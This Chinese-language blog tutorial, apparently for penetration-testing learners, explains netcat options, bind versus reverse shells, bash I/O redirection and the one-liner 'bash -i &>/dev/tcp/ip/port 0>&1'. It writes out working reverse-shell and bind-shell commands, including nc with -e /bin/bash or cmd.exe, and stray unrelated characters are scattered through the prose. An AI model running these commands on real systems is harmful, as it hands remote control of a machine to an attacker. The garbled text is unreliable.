反彈shell | nc&bash

01 nc


netcat,簡稱nc趋厉,一款TCP/UDP網絡連接的利器,可實現任意TCP/UDP端口的偵聽,被稱為“瑞士軍刀”瞳脓,可見其功能強大埋酬。

nc的選項較多拳球,這里只介紹我們日常工作中可能會經常使用到的幾個選項魔吐。

"-v"選項奥溺,可以說是每次執(zhí)行命令時必添加的選項,用于輸出詳細信息立美,如果輸入兩次,那么輸出的信息將更多。

"-l"選項拢蛋,進入監(jiān)聽模式圆仔,"-p"選項坪郭,指定本地端口,這兩個選項通常結合使用萎羔,指定某端口進入監(jiān)聽狀態(tài)嘱根。如果想連接瓦哎,只需要輸入對應IP和端口即可犯助。

在kali中指定1234端口進入監(jiān)聽狀態(tài)瞬哼,物理機連接kali虛擬機坐慰,連接成功之后糟港,可以彼此發(fā)送數據健芭。

"-z"選項秀姐,連接成功后立即關閉連接,不進行數據交換若贮,可用來掃描省有。端口可以是單個的或范圍內的。"-i"選項谴麦,端口掃描時的時間間隔蠢沿。"-w"選項,連接超時時間匾效。"-n"選項舷蟀,不反向查詢IP對應的域名。

可以看到面哼,添加"-n"選項之后野宜,域名顯示為"UNKNOWN"。因為指定了超時時間魔策,所以有很多端口提示連接超時匈子。如果不指定超時時間,單個端口掃描時間會長一點闯袒。

"-c"選項虎敦,指定shell命令,使用/bin/sh執(zhí)行政敢;"-e"選項其徙,指定文件名,在連接后執(zhí)行喷户。

這兩個選項常用于獲取目標的shell唾那,如果是linux,"-c"選項和"-e"選項摩骨,都可以指定/bin/bash來獲取shell通贞;如果是windows,我們可以"-e"選項指定執(zhí)行cmd.exe來獲取shell恼五。

在講怎么獲取shell之前昌罩,我們先講講shell的分類。

正向shell(bind shell)

靶機:nc -lvp x.x.x.x port [-c/bin/bash?| -e /bin/bash?|?-ec:\windows\system32\cmd.exe]攻擊方:nc x.x.x.x port

反向shell(reverse shell)

靶機:nc x.x.x.x port [-c/bin/bash | -e /bin/bash | -ec:\windows\system32\cmd.exe]攻擊方:nc -lvp x.x.x.x port

正向和反向的區(qū)別灾馒,其實就是攻擊方和靶機之間誰主動發(fā)起連接的區(qū)別茎用。

攻擊方主動去連接靶機為正向,shell綁定在靶機的監(jiān)聽端口,攻擊方連接才能訪問轨功;靶機主動向攻擊方發(fā)起連接請求為反向旭斥,靶機主動將自己的shell發(fā)送給攻擊方。

根據網絡協議古涧,客戶端發(fā)起連接請求垂券,服務器端監(jiān)聽端口。正常情況下羡滑,攻擊方都是客戶端菇爪,靶機是服務器端。而反向shell本質上是網絡概念的客戶端與服務器端的角色反轉柒昏。

反向shell凳宙,更多人叫反彈shell。為了讓大家更好地理解正向shell和反彈shell的區(qū)別职祷,這里暫時叫反向shell氏涩,一眼就能明白兩者的區(qū)別是連接方向的區(qū)別,后續(xù)文章統一用反彈shell代替有梆。

需要注意的是是尖,不管正向shell,還是反向shell淳梦,"-c"選項或"-e"選項都是添加在靶機這一側析砸。

02 輸入/輸出重定向


在講輸入輸出重定向之前,我們先來了解了解標準I/O爆袍。

標準I/O

Linux shell以字符序列或流的形式接收輸入和發(fā)送輸出首繁。大多數命令,從鍵盤接受輸入并將所產生的輸出發(fā)回到顯示器陨囊,這就是標準的I/O弦疮。Linux shell使用3 種標準 I/O ,每種都與一種文件描述符相關聯蜘醋。

1胁塞、標準輸入:stdin,文件描述符0压语,對應設備通常為鍵盤2啸罢、標準輸出:stdout,文件描述符1胎食,對應設備通常為顯示器或打印機3扰才、標準錯誤輸出:stderr,文件描述符2厕怜,對應設備通常為顯示器或打印機

那么什么是輸入輸出重定向衩匣?通俗點來講蕾总,改變輸入輸出,使命令不是從鍵盤輸入琅捏,結果不是輸出到顯示器就叫做輸入輸出重定向生百。比如,從文件中獲取數據柄延,將輸出保存到文件蚀浆。

輸出重定向

有兩種方式可以將輸出重定向到文件:(如果文件不存在則會創(chuàng)建文件)

n>:將來自文件描述符n的輸出以覆蓋的方式重定向到某個文件。n>>:將來自文件描述符n的輸出以追加的方式重定向到某個文件拦焚。

如果不指定文件描述符n蜡坊,則默認文件描述符為1,即標準輸出赎败。如下圖所示,產生了標準錯誤輸出和標準輸出蠢甲。

重定向輸出僵刮,將標準輸出和標準錯誤輸出分別重定向到stdout.txt和stderr.txt。

再次將標準輸出重定向到stdout.txt鹦牛,發(fā)現內容已被覆蓋。

如果不想內容被覆蓋,則應使用>>署辉。由于ls命令沒有產生標準錯誤輸出短条,所以stderr.txt文件沒有新增數據。

當然礼殊,也可以把標準輸出和標準錯誤輸出重定向到同一個文件:使用&>或&>>驹吮。

另外,還可以先重定向文件描述符 n 晶伦,然后使用m>&n將文件描述符 m 重定向到相同位置碟狞。

注意,重定向是從左往右解析婚陪,要先重定向文件描述符 n 族沃。在下圖中,stderr 被重定向到當前的 stdout 位置泌参,然后將 stdout 重定向到 print脆淹,但第二次重定向僅會影響 stdout,而不會影響 stderr沽一;在上圖盖溺,stderr 被重定向到當前的 stdout 位置,也就是print锯玛。

如果想忽略輸出咐柜,可以將輸出重定向到/dev/null兼蜈。

輸入重定向

和輸出重定向一樣,我們可以使用“<”來重定向標準輸入拙友。

要說明的是为狸,shell(包括 bash)也擁有 here-document 概念,這是輸入重定向的另一種形式遗契。它將 << 和一個單詞結合構成一個標記辐棒,將開始標記 tag 和結束標記 tag 之間的內容作為輸入。

wc命令用來給系統清空垃圾...wc命令用于統計字數牍蜂。這里我們以EOF做為標記漾根,標記之間的都是本次的輸入。wc統計出有2行鲫竞,2個單詞辐怕,9個字節(jié)。


關于輸入輸出重定向知識的拓展先介紹到這里从绘,其他知識后續(xù)結合需求再介紹寄疏,方便結合實例理解記憶。

03 bash反彈shell


命令

bash -i &>/dev/tcp/ip/port0>&1

原理

命令主要分為兩個部分:bash -i 和重定向僵井。

bash -i:產生一個交互式shell陕截。&>:標準輸出和標準錯誤輸出都重定向到后面的對象。/dev/tcp/ip/port:與ip:port建立連接并傳輸數據批什。0>&1:將標準輸入重定向到標準輸出的位置农曲。

重定向這一部分,乍一眼可能還有點看不明白驻债。但仔細一看乳规,其實就是之前"m>&n"的語法。先重定向n却汉,&> /dev/tcp/ip/port驯妄,重定向符和對象之間允許有空格;然后m>&n合砂,重定向符和文件描述符之間不能有空格青扔。

/dev/tcp是Linux中的一個特殊文件,通過它打開套接字翩伪,與目標端口建立連接微猖。

命令用一句話解釋:與指定目標建立連接,同時將自己shell的輸入和輸出交給對方缘屹。下面我們結合實際操作來加深對這條命令的理解凛剥。

先查看一下bash的幫助文檔,里面說明如果添加"-i"選項轻姿,那么這個shell就是交互式的犁珠。

在攻擊機監(jiān)聽一個端口逻炊,等待靶機連接。

在靶機執(zhí)行如下命令犁享,可以看到攻擊機接收到了靶機的shell余素。

因為目前只是把標準輸出重定向,所以標準錯誤輸出還是輸出在靶機炊昆,標準輸入也是在靶機桨吊,所以在攻擊機輸入命令,命令并不會執(zhí)行凤巨。

接下來我們添加 "0>&1" 將標準輸入重定向到標準輸出相同的位置视乐,這樣就可以在攻擊機輸入命令并得到執(zhí)行。

最后敢茁,再把標準錯誤輸出也重定向到標注輸出的位置佑淀。到此,靶機shell的"控制權完全"移交到了攻擊機彰檬。

?著作權歸作者所有,轉載或內容合作請聯系作者
  • 序言:七十年代末渣聚,一起剝皮案震驚了整個濱河市,隨后出現的幾起案子僧叉,更是在濱河造成了極大的恐慌,老刑警劉巖棺榔,帶你破解...
    沈念sama閱讀 218,386評論 6 506
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件瓶堕,死亡現場離奇詭異,居然都是意外死亡症歇,警方通過查閱死者的電腦和手機郎笆,發(fā)現死者居然都...
    沈念sama閱讀 93,142評論 3 394
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來忘晤,“玉大人宛蚓,你說我怎么就攤上這事∩杷” “怎么了凄吏?”我有些...
    開封第一講書人閱讀 164,704評論 0 353
  • 文/不壞的土叔 我叫張陵,是天一觀的道長闰蛔。 經常有香客問我痕钢,道長,這世上最難降的妖魔是什么序六? 我笑而不...
    開封第一講書人閱讀 58,702評論 1 294
  • 正文 為了忘掉前任任连,我火速辦了婚禮,結果婚禮上例诀,老公的妹妹穿的比我還像新娘随抠。我一直安慰自己裁着,他們只是感情好,可當我...
    茶點故事閱讀 67,716評論 6 392
  • 文/花漫 我一把揭開白布拱她。 她就那樣靜靜地躺著二驰,像睡著了一般。 火紅的嫁衣襯著肌膚如雪椭懊。 梳的紋絲不亂的頭發(fā)上诸蚕,一...
    開封第一講書人閱讀 51,573評論 1 305
  • 那天,我揣著相機與錄音氧猬,去河邊找鬼背犯。 笑死,一個胖子當著我的面吹牛盅抚,可吹牛的內容都是我干的漠魏。 我是一名探鬼主播,決...
    沈念sama閱讀 40,314評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼妄均,長吁一口氣:“原來是場噩夢啊……” “哼柱锹!你這毒婦竟也來了?” 一聲冷哼從身側響起丰包,我...
    開封第一講書人閱讀 39,230評論 0 276
  • 序言:老撾萬榮一對情侶失蹤禁熏,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后邑彪,有當地人在樹林里發(fā)現了一具尸體瞧毙,經...
    沈念sama閱讀 45,680評論 1 314
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 37,873評論 3 336
  • 正文 我和宋清朗相戀三年寄症,在試婚紗的時候發(fā)現自己被綠了宙彪。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 39,991評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡有巧,死狀恐怖释漆,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情篮迎,我是刑警寧澤男图,帶...
    沈念sama閱讀 35,706評論 5 346
  • 正文 年R本政府宣布,位于F島的核電站柑潦,受9級特大地震影響享言,放射性物質發(fā)生泄漏。R本人自食惡果不足惜渗鬼,卻給世界環(huán)境...
    茶點故事閱讀 41,329評論 3 330
  • 文/蒙蒙 一览露、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧譬胎,春花似錦差牛、人聲如沸命锄。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,910評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽脐恩。三九已至,卻和暖如春侦讨,著一層夾襖步出監(jiān)牢的瞬間驶冒,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,038評論 1 270
  • 我被黑心中介騙來泰國打工韵卤, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留骗污,地道東北人。 一個月前我還...
    沈念sama閱讀 48,158評論 3 370
  • 正文 我出身青樓沈条,卻偏偏與公主長得像需忿,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子蜡歹,可洞房花燭夜當晚...
    茶點故事閱讀 44,941評論 2 355